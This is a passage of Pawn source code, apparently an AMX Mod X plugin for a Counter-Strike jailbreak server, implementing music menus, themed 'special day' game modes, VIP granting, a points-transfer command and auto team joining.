- menu_display(id, g_MusicMenu)
- }
- public MusicMenu(id, g_MusicMenu, item)
- {
- if(item == MENU_EXIT)
- return
- new szKey[3], adname[33], Dummy
- get_user_name(id, adname, 32)
- menu_item_getinfo(g_MusicMenu, item, Dummy, szKey, 2, "", 0, Dummy)
- new key = str_to_num(szKey)
- if(key == 0) ShowMusicCustomized(0)
- else if(key == sizeof SongsName-1) {
- client_cmd(0, "mp3 stop;stopsound")
- ColorChat(0, "^4%s ^1stoped the music !", adname)
- } else {
- client_cmd(0, "mp3 play ^"sound/FoN/%s.mp3^"", SongsData[key-1])
- ColorChat(0, "^4%s ^1started^3 ^"^1 %s^3 ^"^1 song !", adname, SongsName[key])
- }
- }
- public ShowMusicCustomized(id)
- {
- new Customized = menu_create("\r[\w #FoN.Jail \r]\y Music Customized Menu^n\dType !music or /music to reopen The Menu", "MusicCustomized")
- new szNum[4], players[32], pnum
- for(new i = 0 ; i < sizeof SongsNameC ; i++) {
- num_to_str(i, szNum , 3)
- menu_additem(Customized , SongsNameC[i], szNum)
- } if(id == 0) {
- get_players(players, pnum)
- for(new i; i<pnum; i++)
- menu_display(players[i], Customized)
- } else
- menu_display(id, Customized)
- }
- public MusicCustomized(id, Customized, item)
- {
- if(item == MENU_EXIT)
- return
- new szKey[3], Dummy
- menu_item_getinfo(Customized, item, Dummy, szKey, 2, "", 0, Dummy)
- new key = str_to_num(szKey)
- if(key == sizeof SongsNameC-1) {
- client_cmd(id, "mp3 stop;stopsound")
- ColorChat(id, "you stoped the music")
- } else {
- client_cmd(id, "mp3 play ^"sound/FoN/%s.mp3^"", SongsData[key])
- ColorChat(id, "you started^3 ^"^1 %s^3 ^"^1 song !", SongsNameC[key])
- }
- }
- public OptionMenu(id, g_OptionMenu, item)
- {
- if(item == MENU_EXIT)
- return
- new Data[7], Name[64], Access, Callback, adname[33]
- get_user_name(id, adname, 31)
- menu_item_getinfo(g_OptionMenu, item, Access, Data,5, Name, 63, Callback)
- new Key = str_to_num(Data)
- switch(Key)
- {
- case 1:
- {
- ColorChat(0, "^4%s Enable^4 ''^1 No Zoom^4 ''^1 !", adname)
- EnableHamForward(ForwardSecAttackAwp)
- EnableHamForward(ForwardSecAttackScout)
- }
- case 2:
- {
- ColorChat(0, "^4%s Disable^4 ''^1 No Zoom^4 ''^1 !", adname)
- DisableHamForward(ForwardSecAttackAwp)
- DisableHamForward(ForwardSecAttackScout)
- }
- case 3:
- {
- ColorChat(0, "^4%s started^4 ''^1 count down 30 sec^4 ''^1 !", adname)
- rar = 30
- ShowTimer()
- }
- case 4:
- {
- ColorChat(0, "^4%s started^4 ''^1 count down 60 sec^4 ''^1 !", adname)
- rar = 60
- ShowTimer()
- }
- case 5:
- {
- if(!g_iSprayMessages) {
- g_iSprayMessages = true
- ColorChat(0, "^4%s ^3Enable^4 spray messages for everyone to see.", adname)
- } else if(g_iSprayMessages) {
- g_iSprayMessages = false
- ColorChat(0, "^4%s ^3Disable^4 spray messages for everyone to see.", adname)
- }
- }
- }
- menu_destroy(g_OptionMenu)
- }
- ActionZombie()
- {
- rar = 100
- set_task(20.0, "ShowTimer")
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Zombie Day !!^ncount down 120 seconds!")
- for(new i = 0; i < g_max_clients; i++)
- if(IsPlayer(i) && is_user_alive(i))
- {
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_T:
- {
- fm_strip_user_weapons(i)
- fm_set_user_health(i, 100)
- }
- case CS_TEAM_CT:
- {
- fm_strip_user_weapons(i)
- fm_set_user_health(i, 100)
- fm_set_user_godmode(i, 1)
- }
- }
- }
- }
- ActionHns()
- {
- rar = 100
- set_task(20.0, "ShowTimer")
- for(new i = 0; i < g_max_clients; i++)
- if(IsPlayer(i) && is_user_alive(i))
- {
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_T:
- {
- fm_set_user_health(i, 100)
- fm_strip_user_weapons(i)
- fm_give_item(i,"weapon_knife")
- }
- case CS_TEAM_CT:
- {
- fm_strip_user_weapons(i)
- fm_give_item(i,"weapon_knife")
- fm_set_user_godmode(i, 1)
- }
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Hide'N'Seek day !!^nRules:^n CT- Seekers T- Hiders^n CT team can only STABS !^n Hiders have only 120 seconds to find a place to hide^n When the time is over the Seekers must kill the Hiders with a^n KNIFE !")
- }
- ActionShark()
- {
- for(new i = 0; i < g_max_clients; i++)
- if(IsPlayer(i) && is_user_alive(i))
- {
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_T:
- {
- fm_strip_user_weapons(i)
- fm_give_item(i,"weapon_m4a1")
- fm_give_item(i,"weapon_deagle")
- cs_set_user_bpammo(i, CSW_M4A1, 250)
- cs_set_user_bpammo(i, CSW_DEAGLE, 250)
- }
- case CS_TEAM_CT:
- {
- fm_set_user_health(i, 1200)
- fm_strip_user_weapons(i)
- fm_give_item(i,"weapon_knife")
- fm_set_user_noclip(i, 1)
- }
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Shark Day !!^nJust kill each other !")
- }
- ActionFree()
- {
- rar = 140
- set_task(20.0, "ShowTimer")
- for(new i = 0; i < g_max_clients; i++)
- if(IsPlayer(i) && is_user_alive(i))
- {
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_T: fm_set_user_health(i, 100)
- case CS_TEAM_CT:
- {
- fm_strip_user_weapons(i)
- fm_give_item(i,"weapon_m4a1")
- fm_give_item(i,"weapon_deagle")
- fm_give_item(i, "weapon_smokegrenade")
- cs_set_user_bpammo(i, CSW_SMOKEGRENADE, 4)
- cs_set_user_bpammo(i, CSW_M4A1, 120)
- cs_set_user_bpammo(i, CSW_DEAGLE, 70)
- fm_set_user_health(i, 100)
- }
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "Its a free day !!^nRules:^n all the terrorist allow to play in the map.^n the CT is in the weapons room for the past 160 seconds^n after 160 seconds the ct allow to go out and look for the terrorist and kill them")
- }
- ActionNightCrawler()
- {
- for(new i = 0; i < g_max_clients; i++)
- if(IsPlayer(i) && is_user_alive(i))
- {
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_T:
- {
- fm_strip_user_weapons(i)
- fm_give_item(i, "weapon_m4a1")
- fm_give_item(i, "weapon_deagle")
- cs_set_user_bpammo(i, CSW_M4A1, 999)
- cs_set_user_bpammo(i, CSW_DEAGLE, 999)
- }
- case CS_TEAM_CT:
- {
- fm_strip_user_weapons(i)
- fm_give_item(i, "weapon_knife")
- fm_set_user_health(i, 250)
- fm_set_user_rendering(i, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
- }
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is NightCrawler Day !!^nCT - With 250 HP^nJust Kill The CT. !")
- }
- Actionspartanday()
- {
- for(new i = 0; i < g_max_clients; i++)
- if(IsPlayer(i) && is_user_alive(i))
- {
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_T:
- {
- fm_strip_user_weapons(i)
- fm_set_user_health(i, 300)
- fm_give_item(i, "weapon_shield")
- fm_give_item(i, "weapon_deagle")
- cs_set_user_bpammo(i, CSW_DEAGLE, 999)
- }
- case CS_TEAM_CT:
- {
- fm_set_user_health(i, 1500)
- fm_strip_user_weapons(i)
- fm_give_item(i, "weapon_deagle")
- fm_give_item(i, "weapon_m4a1")
- cs_set_user_bpammo(i, CSW_DEAGLE, 999)
- cs_set_user_bpammo(i, CSW_M4A1, 9999)
- }
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Spartan Day !!^nCT - With 300 HP^nJust kill The CT.!")
- }
- ActionWarday()
- {
- for(new i = 0; i < g_max_clients; i++)
- {
- if(IsPlayer(i) && is_user_alive(i))
- {
- fm_strip_user_weapons(i)
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_CT:
- {
- fm_give_item(i, "weapon_m4a1")
- fm_give_item(i, "weapon_hegrenade")
- cs_set_user_bpammo(i, CSW_M4A1, 999)
- cs_set_user_bpammo(i, CSW_HEGRENADE, 999)
- fm_set_user_health(i, 500)
- }
- case CS_TEAM_T: fm_give_item(i, "weapon_ak47") && cs_set_user_bpammo(i, CSW_AK47, 999)
- }
- fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999)
- fm_set_user_health(i, 100)
- fm_give_item(i, "weapon_knife")
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is War Day !!^nCT - with 500 HP^nEveryall - Have Guns^nJust kill The CT.!")
- }
- ActionDeathmatch()
- {
- for(new i = 0; i < g_max_clients; i++)
- {
- if(IsPlayer(i) && is_user_alive(i))
- {
- fm_strip_user_weapons(i)
- if(cs_get_user_team(i) == CS_TEAM_CT)
- fm_set_user_godmode(i, 1)
- fm_set_user_health(i, 100)
- fm_give_item(i, "weapon_knife")
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Deathmatch !!^nT - Just freekill.!^nCT - no kill !")
- server_cmd("mp_friendlyfire 1")
- }
- ActionBirthDay()
- {
- for(new i = 0; i < g_max_clients; i++)
- {
- if(IsPlayer(i) && is_user_alive(i))
- {
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_CT: fm_set_user_godmode(i, 1) && fm_set_user_rendering(i, kRenderFxGlowShell, 0, 0, 250, kRenderNormal, 20)
- case CS_TEAM_T: fm_strip_user_weapons(i) && fm_set_user_rendering(i, kRenderFxGlowShell, 250, 0, 0, kRenderNormal, 20)
- }
- fm_set_user_health(i, 100)
- fm_give_item(i, "weapon_knife")
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Birth Day !!^nIn 5 seconds automatically chooses^nprisoner who had a birthday.!")
- }
- ActionKnifeDay()
- {
- for(new i = 0; i < g_max_clients; i++)
- {
- if(IsPlayer(i) && is_user_alive(i))
- {
- fm_strip_user_weapons(i)
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_CT: fm_set_user_health(i, 2000)
- case CS_TEAM_T: fm_set_user_health(i, 200)
- }
- fm_give_item(i, "weapon_knife")
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Knife Day !!^nCT - with 2000 HP^nT - with 200 HP^nJust Knife only.!")
- }
- ActionDeagleDay()
- {
- rar = 70
- set_task(20.0, "ShowTimer")
- for(new i = 0; i < g_max_clients; i++)
- {
- if(IsPlayer(i) && is_user_alive(i))
- {
- fm_strip_user_weapons(i)
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_CT: fm_give_item(i, "weapon_m4a1") && fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_M4A1, 999) && cs_set_user_bpammo(i, CSW_DEAGLE, 0) && fm_set_user_godmode(i, 1)
- }
- fm_set_user_health(i, 100)
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Find the Deagle Day !!^nRules:^n CT - with Deagle Without ammo^n While the 90 seconds you'll have^n to look for the deagle^n who finds he had a glow.!")
- }
- ActionGrenadeDay()
- {
- for(new i = 0; i < g_max_clients; i++)
- {
- if(IsPlayer(i) && is_user_alive(i))
- {
- fm_strip_user_weapons(i)
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_CT: fm_give_item(i, "weapon_hegrenade") && cs_set_user_bpammo(i, CSW_HEGRENADE, 999) && fm_set_user_health(i, 2500)
- case CS_TEAM_T: fm_give_item(i, "weapon_hegrenade") && cs_set_user_bpammo(i, CSW_HEGRENADE, 999) && fm_set_user_health(i, 250)
- }
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Grenade Day !!^nCT - with 2500 HP^nT - with 250 HP^nCome war!!!!!!.. :D")
- }
- ActionNorDealgeDay()
- {
- for(new i = 0; i < g_max_clients; i++)
- {
- if(IsPlayer(i) && is_user_alive(i))
- {
- fm_strip_user_weapons(i)
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_CT: fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999) && fm_set_user_health(i, 1600)
- case CS_TEAM_T: fm_give_item(i, "weapon_deagle") && cs_set_user_bpammo(i, CSW_DEAGLE, 999) && fm_set_user_health(i, 250)
- }
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Deagle Day !!^nCT - with 1600 HP^nT - with 250 HP^nFire Now.!")
- }
- ActionJumpDay()
- {
- for(new i = 0; i < g_max_clients; i++)
- {
- if(IsPlayer(i) && is_user_alive(i))
- {
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_CT: fm_set_user_godmode(i, 1)
- case CS_TEAM_T: fm_set_user_health(i, 100) && fm_strip_user_weapons(i)
- }
- }
- }
- set_hudmessage(0, 255, 0, 0.08, -1.0, 1, 6.0, 18.0)
- show_hudmessage(0, "It is Jump Day !!^nCT - with Godmode^nT - with 100 HP^nJump Jump Jump Jump Jump !! :D")
- }
- public ActionRandomDay()
- {
- actiondays = true
- switch(random_num(1,13))
- {
- case 1:
- {
- ColorChat(0, "start^4 Zombie day !^1 (By Random Day)")
- zombieday = true
- ActionZombie()
- }
- case 2:
- {
- ColorChat(0, "start^4 hide'n'seek !^1 (By Random Day)")
- hns_fd = true
- ActionHns()
- }
- case 3:
- {
- ColorChat(0, "start^4 Shark day !^1 (By Random Day)")
- ActionShark()
- }
- case 4:
- {
- ColorChat(0, "start^4 Free day !^1 (By Random Day)")
- hns_fd = true
- ActionFree()
- }
- case 5:
- {
- ColorChat(0, "start^4 NightCrawler Day !^1 (By Random Day)")
- ActionNightCrawler()
- }
- case 6:
- {
- ColorChat(0, "start^4 Spartan Day !^1 (By Random Day)")
- Actionspartanday()
- }
- case 7:
- {
- ColorChat(0, "start^4 War Day !^1 (By Random Day)")
- ActionWarday()
- }
- case 8:
- {
- ColorChat(0, "start^4 Deathmatch !^1 (By Random Day)")
- Deathmatch = true
- ActionDeathmatch()
- }
- case 9:
- {
- ColorChat(0, "start^4 Birth Day !^1 (By Random Day)")
- ActionBirthDay()
- set_task(5.0, "GetRandomPlayer")
- }
- case 10:
- {
- ColorChat(0, "start^4 Knife Day !^1 (By Random Day)")
- ActionKnifeDay()
- knifeday = true
- }
- case 11:
- {
- ColorChat(0, "start^4 Find The Deagle Day !^1 (By Random Day)")
- ActionDeagleDay()
- deagleday = true
- }
- case 12:
- {
- ColorChat(0, "start^4 Grenade Day !^1 (By Random Day)")
- ActionGrenadeDay()
- grenadeday = true
- }
- case 13:
- {
- ColorChat(0, "start^4 Deagle Day !^1 (By Random Day)")
- ActionNorDealgeDay()
- nordeagleday = true
- }
- }
- }
- public fdexec(id)
- {
- if(cs_get_user_team(id) == CS_TEAM_CT || is_user_admin(id) || get_vip[id]) {
- if(is_user_alive(id)) {
- new rname[32]
- get_user_name(id, rname, 33)
- ColorChat(0, "^4%s ^1started Random Players freeday", rname)
- set_task(5.0, "GetRandomPlayer")
- }
- }
- }
- public GetRandomPlayer()
- {
- new vPlayers[32], vPlayerNum, vName[32]
- get_players(vPlayers, vPlayerNum, "ac")
- if(vPlayerNum)
- {
- new g_iVIPid = 0
- g_iVIPid = vPlayers[(vPlayerNum > 1) ? random(vPlayerNum) : 0]
- get_user_name(g_iVIPid, vName, charsmax(vName))
- if(cs_get_user_team(g_iVIPid) == CS_TEAM_CT || !is_user_alive(g_iVIPid))
- set_task(1.0, "GetRandomPlayer")
- else {
- ColorChat(0, "^4%s ^1is selected for a freeday", vName)
- fm_set_user_rendering(g_iVIPid, kRenderFxGlowShell, 0, 250, 0, kRenderNormal, 255)
- client_cmd(0, "spk ^"%s^"", appmusic)
- set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
- show_hudmessage(0, "^%s ^1is selected", vName)
- }
- }
- }
- public RandomCT(id)
- {
- if(!is_user_admin(id))
- return
- new vPlayers[32], vPlayerNum, vName[32]
- get_players(vPlayers, vPlayerNum)
- if(vPlayerNum) {
- new g_iVIPid = 0
- g_iVIPid = vPlayers[(vPlayerNum > 1) ? random(vPlayerNum) : 0]
- get_user_name(g_iVIPid, vName, charsmax(vName))
- if(cs_get_user_team(g_iVIPid) == CS_TEAM_CT)
- set_task(1.0, "RandomCT")
- else {
- ColorChat(0, "^4%s ^1is selected for a Random CT", vName)
- cs_set_user_team(g_iVIPid, CS_TEAM_CT)
- ExecuteHamB(Ham_CS_RoundRespawn, g_iVIPid)
- client_cmd(0, "spk ^"%s^"", appmusic)
- set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
- show_hudmessage(0, "^%s is selected for a Random CT", vName)
- }
- }
- }
- public ShowTimer()
- {
- rar--
- if(rar <= 0) {
- if(deagleday) {
- client_cmd(0, "spk ^"%s^"", bellmusic)
- set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
- show_hudmessage(0, "The Time is Over!^nCT- Open the prisoner(s) cell")
- } else if(hns_fd) {
- client_cmd(0, "spk ^"%s^"", bellmusic)
- set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
- show_hudmessage(0, "The Time is Over!^nCT- go to find the terrorist and kill them")
- } else if(zombieday)
- ShowTimerZM()
- client_cmd(0, "spk ^"%s^"", bellmusic)
- set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
- show_hudmessage(0, "The Time is Over!")
- remove_task
- } else {
- set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 0.5, 0.5)
- show_hudmessage(0, "%d", rar)
- set_task(1.0, "ShowTimer")
- } if(rar >= 10) {
- new SecVoice[21]
- num_to_word(timer, SecVoice, 20)
- client_cmd(0, "spk ^"FoN/%s^"", SecVoice)
- }
- }
- ShowTimerZM()
- {
- client_cmd(0, "spk ^"%s^"", bellmusic)
- set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
- show_hudmessage(0, "The Time is Over!^nCT- Godmode 0^nCT- go to find the terrorist and kill them")
- remove_task
- for(new i = 0; i < g_max_clients; i++)
- if(IsPlayer(i) && is_user_alive(i))
- {
- switch(cs_get_user_team(i))
- {
- case CS_TEAM_T:
- {
- fm_give_item(i,"weapon_knife")
- fm_set_user_health(i, 100)
- fm_give_item(i,"weapon_elite") && fm_give_item(i,"weapon_m3") && fm_give_item(i,"weapon_m4a1")
- fm_give_item(i,"weapon_ak47") && fm_give_item(i,"weapon_awp") && fm_give_item(i,"weapon_usp")
- fm_give_item(i,"weapon_galil") && fm_give_item(i,"weapon_mp5navy") && fm_give_item(i,"weapon_deagle")
- cs_set_user_bpammo(i, CSW_ELITE, 9999) && cs_set_user_bpammo(i, CSW_M3, 9999) && cs_set_user_bpammo(i, CSW_M4A1, 9999)
- cs_set_user_bpammo(i, CSW_AK47, 9999) && cs_set_user_bpammo(i, CSW_AWP, 9999) && cs_set_user_bpammo(i, CSW_USP, 9999)
- cs_set_user_bpammo(i, CSW_GALIL, 9999) && cs_set_user_bpammo(i, CSW_MP5NAVY, 9999) && cs_set_user_bpammo(i, CSW_DEAGLE, 9999)
- }
- case CS_TEAM_CT:
- {
- fm_give_item(i,"weapon_knife")
- fm_set_user_godmode(i, 0)
- fm_set_user_health(i, 30000)
- }
- }
- }
- }
- public OnSecondaryAttack()
- return HAM_SUPERCEDE
- public cmdBox( id ) {
- if(!is_user_connected(id) || !is_user_alive(id) || cs_get_user_team(id) != CS_TEAM_CT)
- ColorChat(id, "^4You ar Not CT Team & You ar Death")
- else {
- new ffname[32]
- get_user_name(id, ffname, 31)
- switch(iHandler) {
- case 0: {
- for(new i = 0; i < g_max_clients; i++)
- if(IsPlayer(i) && is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
- fm_set_user_health(i, 100)
- server_cmd("mp_friendlyfire 1")
- set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 6.0, 12.0)
- show_hudmessage(0, "Box Activated!^n By %s", ffname)
- ColorChat(0, "^3Box^4 Activated!^1 By %s", ffname)
- }
- case 1: {
- server_cmd("mp_friendlyfire 0")
- set_hudmessage(255, 0, 0, -1.0, -1.0, 0, 6.0, 12.0)
- show_hudmessage(0, "Box Deactivated!^n By %s", ffname)
- ColorChat(0, "^3Box^3 Deactivated!^1 By %s", ffname)
- }
- }
- iHandler = !iHandler
- }
- }
- public EventCurWeapon2(id) {
- if(knifeday)
- engclient_cmd(id, "weapon_knife")
- else if(grenadeday)
- engclient_cmd(id, "weapon_hegrenade")
- else if(nordeagleday)
- engclient_cmd(id, "weapon_deagle")
- }
- public GetPlayerDisco()
- {
- new players[32], num
- get_players(players,num,"ah")
- for(new i=0;i<num;i++)
- {
- new num1 = random_num(0,255)
- new num2 = random_num(0,255)
- new num3 = random_num(0,255)
- new alpha = random_num(40,65)
- message_begin(MSG_ONE,get_user_msgid("ScreenFade"),{0,0,0},players[i])
- write_short(~0)
- write_short(~0)
- write_short(1<<12)
- write_byte(num1)
- write_byte(num2)
- write_byte(num3)
- write_byte(alpha)
- message_end()
- }
- }
- public ShowSpecialHook()
- {
- new players[32], pnum, tempid
- get_players(players, pnum)
- for(new i; i<pnum; i++)
- {
- tempid = players[i]
- message_begin(MSG_ONE, get_user_msgid("ScreenFade"), {0,0,0}, tempid)
- write_short(4096*1) // Duration
- write_short(4096*1) // Hold time
- write_short(4096) // Fade type
- write_byte(0) // Red
- write_byte(0) // Green
- write_byte(0) // Blue
- write_byte(255) // Alpha
- message_end()
- }
- }
- public GiveVIP(id)
- {
- if(get_user_flags(id) & ADMIN_RCON) {
- new givevipmenu = menu_create("\r[\w #FoN.Jail \r]\y Give VIP Menu", "ActionGiveVIP")
- new players[32], pnum, tempid
- new szName[32], szTempid[10]
- get_players(players, pnum)
- for(new i; i<pnum; i++)
- {
- tempid = players[i]
- get_user_name(tempid, szName, 31)
- num_to_str(tempid, szTempid, 9)
- menu_additem(givevipmenu, szName, szTempid)
- }
- menu_display(id, givevipmenu)
- } else
- ColorChat(id, "^4You have no access to this")
- }
- public ActionGiveVIP(id, givevipmenu, item)
- {
- new data[6], iName[64]
- new _access, callback
- menu_item_getinfo(givevipmenu, item, _access, data,5, iName, 63, callback)
- new tempid = str_to_num(data)
- new szName[32], szName2[32]
- get_user_name(id, szName, 31)
- get_user_name(tempid, szName2, 31)
- if(get_vip[tempid] || is_user_admin(tempid))
- ColorChat(0, "^4%s ar Alsready VIP", szName2)
- else {
- ColorChat(0, "^4%s ^3Give VIP to ^4%s", szName, szName2)
- get_vip[tempid] = true
- }
- menu_destroy(givevipmenu)
- }
- public ShowMessage() {
- new g_Message[512];
- static g_pos;
- g_pos = 0;
- new counter;
- new Players[32];
- new playerCount, i, player;
- get_players(Players, playerCount, "ach");
- for (i=0; i<playerCount; i++)
- {
- player = Players[i];
- if(is_user_connected(player) && get_user_team(player) == 2)
- {
- counter++;
- new szName[32];
- get_user_name(player, szName, 31);
- new armor = get_user_armor(player);
- switch(armor)
- {
- case 0: g_pos += formatex(g_Message[g_pos], 511-g_pos, "^n%s - (%iHP)", szName, get_user_health(player));
- default: g_pos += formatex(g_Message[g_pos], 511-g_pos, "^n%s - (%iHP)(%iARMOR)", szName, get_user_health(player), armor);
- }
- }
- }
- set_hudmessage(255, 0, 0, 0.03, 0.30, 0, 6.0, 0.6);
- ShowSyncHudMsg( 0, iHudMessage, "%d Alive Counter-Terrorist: ^n------------------------------^n %s", counter, g_Message)
- set_task(0.5, "ShowMessage");
- }
- public FwdTraceAttack_Post( ent, client )
- {
- ExecuteHamB( Ham_Use, ent, client, client, 2, 1.0 )
- }
- /* ---------------------------------------------------
- * --------------- SEND POINTS SYSTEM ----------------*/
- public MainMenuSend(id)
- {
- if(send_delay[id] != 0)
- console_print(id, "SEND: Please wait ^4%d^1 Seconds to SEND", send_delay[id])
- else {
- new target[32], amount[21]
- read_argv(1, target, 31)
- read_argv(2, amount, 20)
- new player = cmd_target(id, target, 8)
- new admin_name[32], player_name[32]
- get_user_name(id, admin_name, 31)
- get_user_name(player, player_name, 31)
- new pointnum = str_to_num(amount)
- if(equal(target, "") || equal(amount, ""))
- console_print(id, "SEND: Use ^"send NAME POINTS^" to send. Example: ^"send yosi 15^"")
- else if(id == player)
- console_print(id, "SEND: You can not send yourself a point")
- else if(!player)
- console_print(id, "SEND: Player Not Found !")
- else if(!is_str_num(amount))
- console_print(id, "SEND: you most to write only numbers")
- else if(playerpoints[id] < pointnum)
- console_print(id, "SEND: you dont have enough points")
- else if(pointnum > 0) {
- playerpoints[player] += pointnum
- playerpoints[id] -= pointnum
- ColorChat(0, "^3%s ^4Give ^3%i^4 Points to ^3%s", admin_name, pointnum, player_name)
- } else
- console_print(id, "SEND: you dont have enough points")
- send_delay[id] = 5
- set_task(1.0,"_ShowDelay", id, "", 0, "a", 5)
- }
- return PLUGIN_HANDLED
- }
- public MenuCallback()
- return ITEM_DISABLED
- /* ---------------------------------------------------
- * ------------- AUTO TEAM JOIN --------------*/
- public plugin_cfg()
- {
- set_cvar_num("mp_limitteams", 32);
- set_cvar_num("sv_restart", 1);
- }
- public event_TeamInfo()
- {
- new id = read_data(1);
- new sTeam[32], iTeam;
- read_data(2, sTeam, sizeof(sTeam) - 1);
- for(new i = 0; i < MAX_TEAMS; i++)
- {
- if(g_cTeamChars[i] == sTeam[0])
- {
- iTeam = i;
- break;
- }
- }
- if(g_iTeam[id] != iTeam)
- {
- g_iPlayers[g_iTeam[id]]--;
- g_iTeam[id] = iTeam;
- g_iPlayers[iTeam]++;
- }
- }
- public message_ShowMenu(iMsgid, iDest, id)
- {
- static sMenuCode[iMaxLen];
- get_msg_arg_string(4, sMenuCode, sizeof(sMenuCode) - 1);
- if(equal(sMenuCode, FIRST_JOIN_MSG) || equal(sMenuCode, FIRST_JOIN_MSG_SPEC))
- {
- if(should_autojoin(id))
- {
- set_autojoin_task(id, iMsgid);
- return PLUGIN_HANDLED;
- }
- }
- else if(equal(sMenuCode, INGAME_JOIN_MSG) || equal(sMenuCode, INGAME_JOIN_MSG_SPEC))
- {
- if(should_autoswitch(id))
- {
- set_autoswitch_task(id, iMsgid);
- return PLUGIN_HANDLED;
- }
- else if(get_pcvar_num(tjm_block_change))
- {
- return PLUGIN_HANDLED;
- }
- }
- return PLUGIN_CONTINUE;
- }
- public message_VGUIMenu(iMsgid, iDest, id)
- {
- if(get_msg_arg_int(1) != VGUI_JOIN_TEAM_NUM)
- {
- return PLUGIN_CONTINUE;
- }
- if(should_autojoin(id))
- {
- set_autojoin_task(id, iMsgid);
- return PLUGIN_HANDLED;
- }
- else if(should_autoswitch(id))
- {
- set_autoswitch_task(id, iMsgid);
- return PLUGIN_HANDLED;
- }
- else if((TEAM_NONE < g_iTeam[id] < TEAM_SPEC) && get_pcvar_num(tjm_block_change))
- {
- return PLUGIN_HANDLED;
- }
- return PLUGIN_CONTINUE;
- }
- public task_Autojoin(iParam[], id)
- {
- new iTeam = get_new_team(get_pcvar_num(tjm_join_team));
- if(iTeam != -1)
- {
- handle_join(id, iParam[0], iTeam);
- }
- }
- public task_Autoswitch(iParam[], id)
- {
- new iTeam = get_switch_team(id);
- if(iTeam != -1)
- {
- handle_join(id, iParam[0], iTeam);
- }
- }
- stock handle_join(id, iMsgid, iTeam)
- {
- new iMsgBlock = get_msg_block(iMsgid);
- set_msg_block(iMsgid, BLOCK_SET);
- engclient_cmd(id, "jointeam", g_sTeamNums[iTeam]);
- new iClass = get_team_class(iTeam);
- if(1 <= iClass <= 4)
- {
- engclient_cmd(id, "joinclass", g_sClassNums[iClass - 1]);
- }
- set_msg_block(iMsgid, iMsgBlock);
- }
- stock get_new_team(iCvar)
- {
- switch(iCvar)
- {
- case 1:
- {
- return TEAM_T;
- }
- case 2:
- {
- return TEAM_CT;
- }
- case 3:
- {
- return TEAM_SPEC;
- }
- case 4:
- {
- new iTCount = g_iPlayers[TEAM_T];
- new iCTCount = g_iPlayers[TEAM_CT];
- if(iTCount < iCTCount)
- {
- return TEAM_T;
- }
- else if(iTCount > iCTCount)
- {
- return TEAM_CT;
- }
- else
- {
- return random_num(TEAM_T, TEAM_CT);
- }
- }
- }
- return -1;
- }
- stock get_switch_team(id)
- {
- new iTeam;
- new iTCount = g_iPlayers[TEAM_T];
- new iCTCount = g_iPlayers[TEAM_CT];
- switch(g_iTeam[id])
- {
- case TEAM_T: iTCount--;
- case TEAM_CT: iCTCount--;
- }
- if(iTCount < iCTCount)
- {
- iTeam = TEAM_T;
- }
- else if(iTCount > iCTCount)
- {
- iTeam = TEAM_CT;
- }
- else
- {
- iTeam = random_num(TEAM_T, TEAM_CT);
- }
- if(iTeam != g_iTeam[id])
- {
- return iTeam;
- }
- return -1;
- }
- stock get_team_class(iTeam)
- {
- new iClass;
- if(TEAM_NONE < iTeam < TEAM_SPEC)
- {
- iClass = get_pcvar_num(tjm_class[iTeam]);
- if(iClass < 1 || iClass > 4)
- {
- iClass = random_num(1, 4);
- }
- }
- return iClass;
- }
- stock set_autojoin_task(id, iMsgid)
- {
- new iParam[2];
- iParam[0] = iMsgid;
- set_task(0.1, "task_Autojoin", id, iParam, sizeof(iParam));
- }
